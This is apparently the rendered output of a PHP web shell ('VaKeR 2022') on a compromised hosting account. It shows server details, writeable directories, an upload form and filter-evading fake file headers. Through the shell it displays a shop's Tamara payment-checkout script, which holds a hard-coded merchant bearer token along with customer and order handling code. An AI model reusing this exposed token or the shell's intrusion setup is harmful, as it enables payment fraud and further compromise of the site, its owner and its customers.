%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/stamara.php
<?php

session_start();
include('dbcon.php');



$tamara_token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhY2NvdW50SWQiOiI2Y2UwYTRiYS0xM2VkLTRlNWUtOTRjNC0yYzdkOGNjOWIyZjIiLCJ0eXBlIjoibWVyY2hhbnQiLCJzYWx0IjoiYjhiM2E3YzktODZmMi00YmZjLTljYmItMDEzMzhhMmY2ZGUzIiwicm9sZXMiOlsiUk9MRV9NRVJDSEFOVCJdLCJpc010bHMiOmZhbHNlLCJpYXQiOjE3ODI3Mjk2NDgsImlzcyI6IlRhbWFyYSBQUCJ9.b39elo4UqV6d1TAyoGpxmaReOx-LGsdwDRwE9O8Hr7AxJ5VWRV5v2Ir28WFtZsV9l-zOE5IPTaphp34L_XMBYVRqDl5r4Pyve1GAVrJuP14mxJFbzbEeNbtjBA_xk4HfgT8VNtCBBFF_e3-eY3J-Mo8oe8h7pgZXBQCkldWhf9waQUiZoQMof8_rTDiXxksVAMj98Wvdb7Sjy0JPItVs82rxdHu-pvYBQwrWN-5dJANFnk1iAx4F9fTI5GBTq4aoAtah4lrJ2rGIt5ouURgwD1-AJplZLhTQFag2vaYr3PW5pYBt7l-Yx1yIjps9AfbrKs6k45T126EjsH7shJIzAg'; 

$api_url = 'https://api.tamara.co/checkout'; 

$merchant_country  = "AE";  
$merchant_currency = "AED"; 


$order_id = isset($_GET['order_id']) ? (int)$_GET['order_id'] : 0;
if ($order_id <= 0) {
    die("Invalid Order ID");
}

$stmt = $conn->prepare("SELECT total_amount, unique_order_id, phone, email, full_name FROM orders WHERE id = ?");
if (!$stmt) {
    die("DB Error : " . $conn->error);
}
$stmt->bind_param("i", $order_id);
$stmt->execute();
$result = $stmt->get_result();
$order  = $result->fetch_assoc();
$stmt->close();

if (!$order) {
    die("Order not found");
}

$amount = (float)$order['total_amount'];
$unique_order_id = !empty($order['unique_order_id']) ? $order['unique_order_id'] : (string)$order_id;


$dynamic_reference = (string)$unique_order_id . '-' . time();
$formatted_amount = number_format($amount, 2, '.', '');


$full_name = !empty($order['full_name']) ? trim($order['full_name']) : "Customer User";
$name_parts = explode(' ', $full_name, 2);
$first_name = !empty($name_parts[0]) ? $name_parts[0] : "Customer";
$last_name  = !empty($name_parts[1]) ? $name_parts[1] : "User";

$customer_email = !empty($order['email']) ? trim($order['email']) : "customer@dataduck.in";
$customer_phone = "+971501234567"; 


$base_domain = "https://dataduck.in/client-project/meatandgo"; 


$payload = [
    "order_reference_id" => $dynamic_reference,
    "total_amount" => [
        "amount"   => (float)$formatted_amount,
        "currency" => $merchant_currency
    ],
    "description" => "Payment for Order #" . $unique_order_id,
    "country_code" => $merchant_country, 
    "payment_type" => "PAY_BY_INSTALMENTS", 
    "locale" => "en_US",
    "consumer" => [
        "first_name"   => $first_name,
        "last_name"    => $last_name,
        "phone_number" => $customer_phone, 
        "email"        => $customer_email
    ],
    "billing_address" => [
        "first_name"   => $first_name,
        "last_name"    => $last_name,
        "phone_number" => $customer_phone,
        "line1"        => "Downtown Dubai",
        "city"         => "Dubai",
        "state"        => "Dubai",
        "country_code" => $merchant_country
    ],
    "shipping_address" => [
        "first_name"   => $first_name,
        "last_name"    => $last_name,
        "phone_number" => $customer_phone,
        "line1"        => "Downtown Dubai",
        "city"         => "Dubai",
        "state"        => "Dubai",
        "country_code" => $merchant_country
    ],
    "items" => [
        [
            "reference_id" => "item-" . $unique_order_id,
            "name" => "Store Order Package",
            "type" => "Physical",
            "quantity" => 1,
            "total_amount" => [
                "amount" => (float)$formatted_amount,
                "currency" => $merchant_currency
            ],
            "unit_price" => [
                "amount" => (float)$formatted_amount,
                "currency" => $merchant_currency
            ],
            "tax_amount" => [
                "amount" => 0.00,
                "currency" => $merchant_currency
            ],
            "discount_amount" => [
                "amount" => 0.00,
                "currency" => $merchant_currency
            ]
        ]
    ],
    "merchant_url" => [
        "success" => $base_domain . "/success.php?order_id=" . $order_id,
        "failure" => $base_domain . "/failure.php?order_id=" . $order_id,
        "cancel"  => $base_domain . "/cancel.php?order_id=" . $order_id,
        "notification" => $base_domain . "/webhook.php"
    ],
    "tax_amount" => [
        "amount" => 0.00,
        "currency" => $merchant_currency
    ],
    "shipping_amount" => [
        "amount" => 0.00,
        "currency" => $merchant_currency
    ]
];


$ch = curl_init($api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $tamara_token,
    'Content-Type: application/json',
    'Accept: application/json'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    die("CURL Error: " . $error);
}

$response_data = json_decode($response, true);

if (($http_code === 201 || $http_code === 200) && isset($response_data['checkout_url'])) {
    header("Location: " . $response_data['checkout_url']);
    exit;
} else {
    echo "<h3>Tamara API Error (Status Code: $http_code)</h3>";
    echo "<pre>";
    print_r($response_data);
    echo "</pre>";
    die();
}

VaKeR 2022